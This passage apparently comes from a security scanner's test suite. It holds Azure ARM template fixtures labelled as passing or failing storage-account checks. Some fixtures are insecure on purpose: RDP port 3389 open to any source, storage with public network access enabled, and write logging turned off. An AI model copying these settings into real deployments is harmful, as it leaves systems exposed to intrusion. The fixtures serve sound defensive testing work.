\"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet1Name'))]\",\n      \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet2Name'))]\"\n    ],\n    \"networkSecurityGroupName\": \"default-NSG\"\n  },\n  \"resources\": [\n    {\n      \"comments\": \"Default Network Security Group for template\",\n      \"type\": \"Microsoft.Network/networkSecurityGroups\",\n      \"apiVersion\": \"2019-08-01\",\n      \"name\": \"[variables('networkSecurityGroupName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"securityRules\": [\n          {\n            \"name\": \"default-allow-3389\",\n            \"properties\": {\n              \"priority\": 1000,\n              \"access\": \"Allow\",\n              \"direction\": \"Inbound\",\n              \"destinationPortRange\": \"3389\",\n              \"protocol\": \"Tcp\",\n              \"sourceAddressPrefix\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationAddressPrefix\": \"*\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"apiVersion\": \"2017-09-01\",\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"[parameters('vnetName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]\"\n      ],\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[parameters('vnetAddressPrefix')]\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"subnet1\",\n            \"properties\": {\n              \"addressPrefix\": \"[parameters('subnet1Prefix')]\",\n              \"serviceEndpoints\": [\n                {\n                  \"service\": \"Microsoft.Storage\"\n                }\n              ],\n              \"networkSecurityGroup\": {\n                \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]\"\n              }\n            }\n          },\n          {\n            \"name\": \"subnet2\",\n            \"properties\": {\n              \"addressPrefix\": \"[parameters('subnet2Prefix')]\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"apiVersion\": \"2017-09-01\",\n      \"type\": \"Microsoft.Network/publicIPAddresses\",\n      \"name\": \"[concat(variables('publicIPAddressName'), copyIndex())]\",\n      \"location\": \"[parameters('location')]\",\n      \"copy\": {\n        \"name\": \"pipLoop\",\n        \"count\": 2\n      },\n      \"properties\": {\n        \"publicIPAllocationMethod\": \"Dynamic\"\n      }\n    },\n    {\n      \"apiVersion\": \"2016-10-01\",\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"name\": \"[concat('nic', copyIndex())]\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[parameters('vnetName')]\",\n        \"pipLoop\"\n      ],\n      \"copy\": {\n        \"name\": \"nicLoop\",\n        \"count\": 2\n      },\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"ipconfig1\",\n            \"properties\": {\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"subnet\": {\n                \"id\": \"[variables('subnetId')[copyIndex()]]\"\n              },\n              \"publicIPAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses', concat(variables('publicIPAddressName'), copyIndex()))]\"\n              }\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"name\": \"[variables('storageAccountName')]\",\n      \"apiVersion\": \"2017-06-01\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Network/virtualNetworks/', parameters('vnetName'))]\"\n      ],\n      \"sku\": {\n        \"name\": \"[parameters('storageAccountType')]\"\n      },\n      \"kind\": \"Storage\",\n      \"properties\": {\n        \"networkAcls\": {\n          \"bypass\": \"AzureServices\",\n          \"virtualNetworkRules\": [\n            {\n              \"id\": \"[variables('subnetId')[0]]\",\n              \"action\": \"Allow\"\n            }\n          ],\n          \"defaultAction\": \"Deny\"\n        }\n      }\n    },\n    {\n      \"apiVersion\": \"2017-03-30\",\n      \"type\": \"Microsoft.Compute/availabilitySets\",\n      \"name\": \"as1\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"Aligned\"\n      },\n      \"properties\": {\n        \"platformFaultDomainCount\": 2,\n        \"platformUpdateDomainCount\": 2\n      }\n    },\n    {\n      \"apiVersion\": \"2017-03-30\",\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"name\": \"[concat(variables('vmName'), copyIndex())]\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Storage/storageAccounts/', variables('storageAccountName'))]\",\n        \"nicLoop\",\n        \"Microsoft.Compute/availabilitySets/as1\"\n      ],\n      \"copy\": {\n        \"name\": \"vmLoop\",\n        \"count\": 2\n      },\n      \"properties\": {\n        \"availabilitySet\": {\n          \"id\": \"[resourceId('Microsoft.Compute/availabilitySets', 'as1')]\"\n        },\n        \"hardwareProfile\": {\n          \"vmSize\": \"[parameters('vmSize')]\"\n        },\n        \"osProfile\": {\n          \"computername\": \"[concat(variables('vmName'), copyIndex())]\",\n          \"adminUsername\": \"[parameters('adminUserName')]\",\n          \"adminPassword\": \"[parameters('adminPassword')]\"\n        },\n        \"storageProfile\": {\n          \"imageReference\": {\n            \"publisher\": \"MicrosoftWindowsServer\",\n            \"offer\": \"WindowsServer\",\n            \"sku\": \"2016-Datacenter\",\n            \"version\": \"latest\"\n          },\n          \"osDisk\": {\n            \"createOption\": \"FromImage\",\n            \"managedDisk\": {\n              \"storageAccountType\": \"Standard_LRS\"\n            }\n          },\n          \"dataDisks\": []\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', concat('nic',copyIndex()))]\"\n            }\n          ]\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountDefaultNetworkAccessDeny/storageAccountDefaultNetworkAccessDeny-UNKNOWN.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"VM admin user name\"\n      }\n    },\n    \"adminPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"VM admin password\"\n      }\n    },\n    \"vnetName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"VNet1\",\n      \"metadata\": {\n        \"description\": \"Name of the virtual network\"\n      }\n    },\n    \"vnetAddressPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/16\",\n      \"metadata\": {\n        \"description\": \"Address prefix for the virtual network\"\n      }\n    },\n    \"subnet1Name\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"subnet1\",\n      \"metadata\": {\n        \"description\": \"Name of the first subnet in the VNet\"\n      }\n    },\n    \"subnet1Prefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.1.0/24\",\n      \"metadata\": {\n        \"description\": \"Address prefix for subnet1\"\n      }\n    },\n    \"subnet2Name\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"subnet2\",\n      \"metadata\": {\n        \"description\": \"Name of the second subnet in the VNet\"\n      }\n    },\n    \"subnet2Prefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.2.0/24\",\n      \"metadata\": {\n        \"description\": \"Address prefix for subnet2\"\n      }\n    },\n    \"vmSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_A1\",\n      \"metadata\": {\n        \"description\": \"Size of VM\"\n      }\n    },\n    \"storageAccountType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_LRS\",\n      \"metadata\": {\n        \"description\": \"Geo-replication type of Storage account\"\n      },\n      \"allowedValues\": [\n        \"Standard_LRS\",\n        \"Standard_GRS\",\n        \"Standard_ZRS\",\n        \"Premium_LRS\"\n      ]\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"storageAccountName\": \"[uniqueString(resourceGroup().id)]\",\n    \"publicIpAddressName\": \"pip\",\n    \"vmName\": \"testvm\",\n    \"subnetId\": [\n      \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet1Name'))]\",\n      \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet2Name'))]\"\n    ],\n    \"networkSecurityGroupName\": \"default-NSG\"\n  },\n  \"resources\": [\n    {\n      \"comments\": \"Default Network Security Group for template\",\n      \"type\": \"Microsoft.Network/networkSecurityGroups\",\n      \"apiVersion\": \"2019-08-01\",\n      \"name\": \"[variables('networkSecurityGroupName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"securityRules\": [\n          {\n            \"name\": \"default-allow-3389\",\n            \"properties\": {\n              \"priority\": 1000,\n              \"access\": \"Allow\",\n              \"direction\": \"Inbound\",\n              \"destinationPortRange\": \"3389\",\n              \"protocol\": \"Tcp\",\n              \"sourceAddressPrefix\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationAddressPrefix\": \"*\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"apiVersion\": \"2017-09-01\",\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"[parameters('vnetName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]\"\n      ],\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[parameters('vnetAddressPrefix')]\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"subnet1\",\n            \"properties\": {\n              \"addressPrefix\": \"[parameters('subnet1Prefix')]\",\n              \"serviceEndpoints\": [\n                {\n                  \"service\": \"Microsoft.Storage\"\n                }\n              ],\n              \"networkSecurityGroup\": {\n                \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]\"\n              }\n            }\n          },\n          {\n            \"name\": \"subnet2\",\n            \"properties\": {\n              \"addressPrefix\": \"[parameters('subnet2Prefix')]\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"apiVersion\": \"2017-09-01\",\n      \"type\": \"Microsoft.Network/publicIPAddresses\",\n      \"name\": \"[concat(variables('publicIPAddressName'), copyIndex())]\",\n      \"location\": \"[parameters('location')]\",\n      \"copy\": {\n        \"name\": \"pipLoop\",\n        \"count\": 2\n      },\n      \"properties\": {\n        \"publicIPAllocationMethod\": \"Dynamic\"\n      }\n    },\n    {\n      \"apiVersion\": \"2016-10-01\",\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"name\": \"[concat('nic', copyIndex())]\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[parameters('vnetName')]\",\n        \"pipLoop\"\n      ],\n      \"copy\": {\n        \"name\": \"nicLoop\",\n        \"count\": 2\n      },\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"ipconfig1\",\n            \"properties\": {\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"subnet\": {\n                \"id\": \"[variables('subnetId')[copyIndex()]]\"\n              },\n              \"publicIPAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses', concat(variables('publicIPAddressName'), copyIndex()))]\"\n              }\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"name\": \"[variables('storageAccountName')]\",\n      \"apiVersion\": \"2017-06-01\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Network/virtualNetworks/', parameters('vnetName'))]\"\n      ],\n      \"sku\": {\n        \"name\": \"[parameters('storageAccountType')]\"\n      },\n      \"kind\": \"Storage\",\n      \"properties\": {\n        \"networkAcls\": \"defaultAction\"\n      }\n    },\n    {\n      \"apiVersion\": \"2017-03-30\",\n      \"type\": \"Microsoft.Compute/availabilitySets\",\n      \"name\": \"as1\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"Aligned\"\n      },\n      \"properties\": {\n        \"platformFaultDomainCount\": 2,\n        \"platformUpdateDomainCount\": 2\n      }\n    },\n    {\n      \"apiVersion\": \"2017-03-30\",\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"name\": \"[concat(variables('vmName'), copyIndex())]\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Storage/storageAccounts/', variables('storageAccountName'))]\",\n        \"nicLoop\",\n        \"Microsoft.Compute/availabilitySets/as1\"\n      ],\n      \"copy\": {\n        \"name\": \"vmLoop\",\n        \"count\": 2\n      },\n      \"properties\": {\n        \"availabilitySet\": {\n          \"id\": \"[resourceId('Microsoft.Compute/availabilitySets', 'as1')]\"\n        },\n        \"hardwareProfile\": {\n          \"vmSize\": \"[parameters('vmSize')]\"\n        },\n        \"osProfile\": {\n          \"computername\": \"[concat(variables('vmName'), copyIndex())]\",\n          \"adminUsername\": \"[parameters('adminUserName')]\",\n          \"adminPassword\": \"[parameters('adminPassword')]\"\n        },\n        \"storageProfile\": {\n          \"imageReference\": {\n            \"publisher\": \"MicrosoftWindowsServer\",\n            \"offer\": \"WindowsServer\",\n            \"sku\": \"2016-Datacenter\",\n            \"version\": \"latest\"\n          },\n          \"osDisk\": {\n            \"createOption\": \"FromImage\",\n            \"managedDisk\": {\n              \"storageAccountType\": \"Standard_LRS\"\n            }\n          },\n          \"dataDisks\": []\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', concat('nic',copyIndex()))]\"\n            }\n          ]\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountDisablePublicAccess/FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"storageAccountType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_LRS\",\n      \"allowedValues\": [\n        \"Standard_LRS\",\n        \"Standard_GRS\",\n        \"Standard_ZRS\",\n        \"Premium_LRS\"\n      ],\n      \"metadata\": {\n        \"description\": \"Storage Account type\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"storageAccountName\": \"[concat('store', uniquestring(resourceGroup().id))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"apiVersion\": \"2019-04-01\",\n      \"name\": \"enabled\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('storageAccountType')]\"\n      },\n      \"kind\": \"StorageV2\",\n      \"properties\": {\n        \"publicNetworkAccess\": \"Enabled\"\n      }\n    }\n  ],\n  \"outputs\": {\n    \"storageAccountName\": {\n      \"type\": \"string\",\n      \"value\": \"[variables('storageAccountName')]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountDisablePublicAccess/PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"storageAccountType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_LRS\",\n      \"allowedValues\": [\n        \"Standard_LRS\",\n        \"Standard_GRS\",\n        \"Standard_ZRS\",\n        \"Premium_LRS\"\n      ],\n      \"metadata\": {\n        \"description\": \"Storage Account type\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"storageAccountName\": \"[concat('store', uniquestring(resourceGroup().id))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"apiVersion\": \"2019-04-01\",\n      \"name\": \"default\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('storageAccountType')]\"\n      },\n      \"kind\": \"StorageV2\",\n      \"properties\": {\n        \"supportsHttpsTrafficOnly\": true\n      }\n    }\n  ],\n  \"outputs\": {\n    \"storageAccountName\": {\n      \"type\": \"string\",\n      \"value\": \"[variables('storageAccountName')]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountDisablePublicAccess/PASSED_2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"storageAccountType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_LRS\",\n      \"allowedValues\": [\n        \"Standard_LRS\",\n        \"Standard_GRS\",\n        \"Standard_ZRS\",\n        \"Premium_LRS\"\n      ],\n      \"metadata\": {\n        \"description\": \"Storage Account type\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"storageAccountName\": \"[concat('store', uniquestring(resourceGroup().id))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"apiVersion\": \"2019-04-01\",\n      \"name\": \"disabled\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('storageAccountType')]\"\n      },\n      \"kind\": \"StorageV2\",\n      \"properties\": {\n        \"publicNetworkAccess\": \"Disabled\"\n      }\n    }\n  ],\n  \"outputs\": {\n    \"storageAccountName\": {\n      \"type\": \"string\",\n      \"value\": \"[variables('storageAccountName')]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountLoggingQueueServiceEnabled/exampleStorageAccountLoggingQueueServiceEnabled-Failed.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"storageAccountName\": {\n      \"type\": \"String\"\n    },\n    \"settingName\": {\n      \"type\": \"String\"\n    },\n    \"storageSinkName\": {\n      \"type\": \"String\"\n    },\n    \"workspaceId\": {\n      \"type\": \"String\"\n    }\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2019-10-01\",\n      \"name\": \"nested\",\n      \"type\": \"Microsoft.Resources/deployments\",\n      \"properties\": {\n        \"mode\": \"Incremental\",\n        \"expressionEvaluationOptions\": {\n          \"scope\": \"inner\"\n        },\n        \"parameters\": {\n          \"endpoints\": {\n            \"value\": \"[reference(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), '2019-06-01', 'Full').properties.primaryEndpoints]\"\n          },\n          \"settingName\": {\n            \"value\": \"[parameters('settingName')]\"\n          },\n          \"storageAccountName\": {\n            \"value\": \"[parameters('storageAccountName')]\"\n          },\n          \"storageSinkName\": {\n            \"value\": \"[parameters('storageSinkName')]\"\n          },\n          \"workspaceId\": {\n            \"value\": \"[parameters('workspaceId')]\"\n          }\n        },\n        \"template\": {\n          \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n          \"contentVersion\": \"1.0.0.0\",\n          \"parameters\": {\n            \"endpoints\": {\n              \"type\": \"object\"\n            },\n            \"settingName\": {\n              \"type\": \"String\"\n            },\n            \"storageAccountName\": {\n              \"type\": \"String\"\n            },\n            \"storageSinkName\": {\n              \"type\": \"String\"\n            },\n            \"workspaceId\": {\n              \"type\": \"String\"\n            }\n          },\n          \"variables\": {\n            \"hasblob\": \"[contains(parameters('endpoints'),'blob')]\",\n            \"hastable\": \"[contains(parameters('endpoints'),'table')]\",\n            \"hasfile\": \"[contains(parameters('endpoints'),'file')]\",\n            \"hasqueue\": \"[contains(parameters('endpoints'),'queue')]\"\n          },\n          \"resources\": [\n            {\n              \"type\": \"Microsoft.Storage/storageAccounts/providers/diagnosticsettings\",\n              \"apiVersion\": \"2017-05-01-preview\",\n              \"name\": \"[concat(parameters('storageAccountName'),'/Microsoft.Insights/', parameters('settingName'))]\",\n\n              \"properties\": {\n                \"workspaceId\": \"[parameters('workspaceId')]\",\n                \"storageAccountId\": \"[resourceId('Microsoft.Storage/storageAccounts', parameters('storageSinkName'))]\",\n                \"metrics\": [\n                  {\n                    \"category\": \"Transaction\",\n                    \"enabled\": true\n                  }\n                ]\n              }\n            },\n            {\n              \"condition\": \"[variables('hasblob')]\",\n              \"type\": \"Microsoft.Storage/storageAccounts/blobServices/providers/diagnosticsettings\",\n              \"apiVersion\": \"2017-05-01-preview\",\n              \"name\": \"[concat(parameters('storageAccountName'),'/default/Microsoft.Insights/', parameters('settingName'))]\",\n              \"properties\": {\n                \"workspaceId\": \"[parameters('workspaceId')]\",\n                \"storageAccountId\": \"[resourceId('Microsoft.Storage/storageAccounts', parameters('storageSinkName'))]\",\n                \"logs\": [\n                  {\n                    \"category\": \"StorageRead\",\n                    \"enabled\": true\n                  },\n                  {\n                    \"category\": \"StorageWrite\",\n                    \"enabled\": true\n                  },\n                  {\n                    \"category\": \"StorageDelete\",\n                    \"enabled\": true\n                  }\n                ],\n                \"metrics\": [\n                  {\n                    \"category\": \"Transaction\",\n                    \"enabled\": true\n                  }\n                ]\n              }\n            },\n            {\n              \"condition\": \"[variables('hastable')]\",\n              \"type\": \"Microsoft.Storage/storageAccounts/tableServices/providers/diagnosticsettings\",\n              \"apiVersion\": \"2017-05-01-preview\",\n              \"name\": \"[concat(parameters('storageAccountName'),'/default/Microsoft.Insights/', parameters('settingName'))]\",\n\n              \"properties\": {\n                \"workspaceId\": \"[parameters('workspaceId')]\",\n                \"storageAccountId\": \"[resourceId('Microsoft.Storage/storageAccounts', parameters('storageSinkName'))]\",\n                \"logs\": [\n                  {\n                    \"category\": \"StorageRead\",\n                    \"enabled\": true\n                  },\n                  {\n                    \"category\": \"StorageWrite\",\n                    \"enabled\": true\n                  },\n                  {\n                    \"category\": \"StorageDelete\",\n                    \"enabled\": true\n                  }\n                ],\n                \"metrics\": [\n                  {\n                    \"category\": \"Transaction\",\n                    \"enabled\": true\n                  }\n                ]\n              }\n            },\n            {\n              \"condition\": \"[variables('hasfile')]\",\n              \"type\": \"Microsoft.Storage/storageAccounts/fileServices/providers/diagnosticsettings\",\n              \"apiVersion\": \"2017-05-01-preview\",\n              \"name\": \"[concat(parameters('storageAccountName'),'/default/Microsoft.Insights/', parameters('settingName'))]\",\n              \"properties\": {\n                \"workspaceId\": \"[parameters('workspaceId')]\",\n                \"storageAccountId\": \"[resourceId('Microsoft.Storage/storageAccounts', parameters('storageSinkName'))]\",\n                \"logs\": [\n                  {\n                    \"category\": \"StorageRead\",\n                    \"enabled\": true\n                  },\n                  {\n                    \"category\": \"StorageWrite\",\n                    \"enabled\": false\n                  },\n                  {\n                    \"category\": \"StorageDelete\",\n                    \"enabled\": true\n                  }\n                ],\n                \"metrics\": [\n                  {\n                    \"category\": \"Transaction\",\n                    \"enabled\": true\n                  }\n                ]\n              }\n            },\n            {\n              \"condition\": \"[variables('hasqueue')]\",\n              \"type\": \"Microsoft.Storage/storageAccounts/queueServices/providers/diagnosticsettings\",\n              \"apiVersion\": \"2017-05-01-preview\",\n              \"name\": \"[concat(parameters('storageAccountName'),'/default/Microsoft.Insights/', parameters('settingName'))]\",\n              \"properties\": {\n                \"workspaceId\": \"[parameters('workspaceId')]\",\n                \"storageAccountId\": \"[resourceId('Microsoft.Storage/storageAccounts', parameters('storageSinkName'))]\",\n                \"logs\": [\n                  {\n                    \"category\": \"StorageRead\",\n                    \"enabled\": true\n                  },\n                  {\n                    \"category\": \"StorageWrite\",\n                    \"enabled\": false\n                  },\n                  {\n                    \"category\": \"StorageDelete\",\n                    \"enabled\": true\n                  }\n                ],\n                \"metrics\": [\n                  {\n                    \"category\": \"Transaction\",\n                    \"enabled\": true\n                  }\n                ]\n              }\n            }\n          ]\n        }\n      }\n    }\n  ]\n\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountLoggingQueueServiceEnabled/exampleStorageAccountLoggingQueueServiceEnabled-Failed2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"storageAccountName\": {\n      \"type\": \"String\"\n    },\n    \"settingName\": {\n      \"type\": \"String\"\n    },\n    \"storageSinkName\": {\n      \"type\": \"String\"\n    },\n    \"workspaceId\": {\n      \"type\": \"String\"\n    }\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2019-10-01\",\n      \"name\": \"nested\",\n      \"type\": \"Microsoft.Resources/deployments\",\n      \"properties\": {\n        \"mode\": \"Incremental\",\n        \"expressionEvaluationOptions\": {\n          \"scope\": \"inner\"\n        },\n        \"parameters\": {\n          \"endpoints\": {\n            \"value\": \"[reference(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), '2019-06-01', 'Full').properties.primaryEndpoints]\"\n          },\n          \"settingName\": {\n            \"value\": \"[parameters('settingName')]\"\n          },\n          \"storageAccountName\": {\n            \"value\": \"[parameters('storageAccountName')]\"\n          },\n          \"storageSinkName\": {\n            \"value\": \"[parameters('storageSinkName')]\"\n          },\n          \"workspaceId\": {\n            \"value\": \"[parameters('workspaceId')]\"\n          }\n        },\n        \"template\": {\n          \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n          \"contentVersion\": \"1.0.0.0\",\n          \"parameters\": {\n            \"endpoints\": {\n              \"type\": \"object\"\n            },\n            \"settingName\": {\n              \"type\": \"String\"\n            },\n            \"storageAccountName\": {\n              \"type\": \"String\"\n            },\n            \"storageSinkName\": {\n              \"type\": \"String\"\n            },\n            \"workspaceId\": {\n              \"type\": \"String\"\n            }\n          },\n          \"variables\": {\n            \"hasblob\": \"[contains(parameters('endpoints'),'blob')]\",\n            \"hastable\": \"[contains(parameters('endpoints'),'table')]\",\n            \"hasfile\": \"[contains(parameters('endpoints'),'file')]\",\n            \"hasqueue\": \"[contains(parameters('endpoints'),'queue')]\"\n          },\n          \"resources\": [\n            {\n              \"type\": \"Microsoft.Storage/storageAccounts/providers/diagnosticsettings\",\n              \"apiVersion\": \"2017-05-01-preview\",\n              \"name\": \"[concat(parameters('storageAccountName'),'/Microsoft.Insights/', parameters('settingName'))]\",\n\n              \"properties\": {\n                \"workspaceId\": \"[parameters('workspaceId')]\",\n                \"storageAccountId\": \"[resourceId('Microsoft.Storage/storageAccounts', parameters('storageSinkName'))]\",\n                \"metrics\": [\n                  {\n                    \"category\": \"Transaction\",\n                    \"enabled\": true\n                  }\n                ]\n              }\n            },\n            {\n              \"condition\": \"[variables('hasblob')]\",\n              \"type\": \"Microsoft.Storage/storageAccounts/blobServices/providers/diagnosticsettings\",\n              \"apiVersion\": \"2017-05-01-preview\",\n              \"name\": \"[concat(parameters('storageAccountName'),'/default/Microsoft.Insights/', parameters('settingName'))]\",\n              \"properties\": {\n                \"workspaceId\": \"[parameters('workspaceId')]\",\n                \"storageAccountId\": \"[resourceId('Microsoft.Storage/storageAccounts', parameters('storageSinkName'))]\",\n                \"logs\": [\n                  {\n                    \"category\": \"StorageRead\",\n                    \"enabled\": true\n                  },\n                  {\n                    \"category\": \"StorageWrite\",\n                    \"enabled\": true\n                  },\n                  {\n                    \"category\": \"StorageDelete\",\n                    \"enabled\": true\n                  }\n                ],\n                \"metrics\": [\n                  {\n                    \"category\": \"Transaction\",\n                    \"enabled\": true\n                  }\n                ]\n              }\n            },\n            {\n              \"condition\": \"[variables('hastable')]\",\n              \"type\": \"Microsoft.Storage/storageAccounts/tableServices/providers/diagnosticsettings\",\n              \"apiVersion\": \"2017-05-01-preview\",\n              \"name\": \"[concat(parameters('storageAccountName'),'/default/Microsoft.Insights/', parameters('settingName'))]\",\n\n              \"properties\": {\n                \"workspaceId\": \"[parameters('workspaceId')]\",\n                \"storageAccountId\": \"[resourceId('Microsoft.Storage/storageAccounts', parameters('storageSinkName'))]\",\n                \"logs\": [\n                  {\n                    \"category\": \"StorageRead\",\n                    \"enabled\": true\n                  },\n                  {\n                    \"category\": \"StorageWrite\",\n                    \"enabled\": true\n                  },\n                  {\n                    \"category\": \"StorageDelete\",\n                    \"enabled\": true\n                  }\n                ],\n                \"metrics\": [\n                  {\n                    \"category\": \"Transaction\",\n                    \"enabled\": true\n                  }\n                ]\n              }\n            },\n            {\n              \"condition\": \"[variables('hasfile')]\",\n              \"type\": \"Microsoft.Storage/storageAccounts/fileServices/providers/diagnosticsettings\",\n              \"apiVersion\": \"2017-05-01-preview\",\n              \"name\": \"[concat(parameters('storageAccountName'),'/default/Microsoft.Insights/', parameters('settingName'))]\",\n              \"properties\": {\n                \"workspaceId\": \"[parameters('workspaceId')]\",\n                \"storageAccountId\": \"[resourceId('Microsoft.Storage/storageAccounts', parameters('storageSinkName'))]\",\n                \"logs\": [\n                  {\n                    \"category\": \"StorageRead\",\n                    \"enabled\": true\n                  },\n                  {\n                    \"category\": \"StorageWrite\",\n                    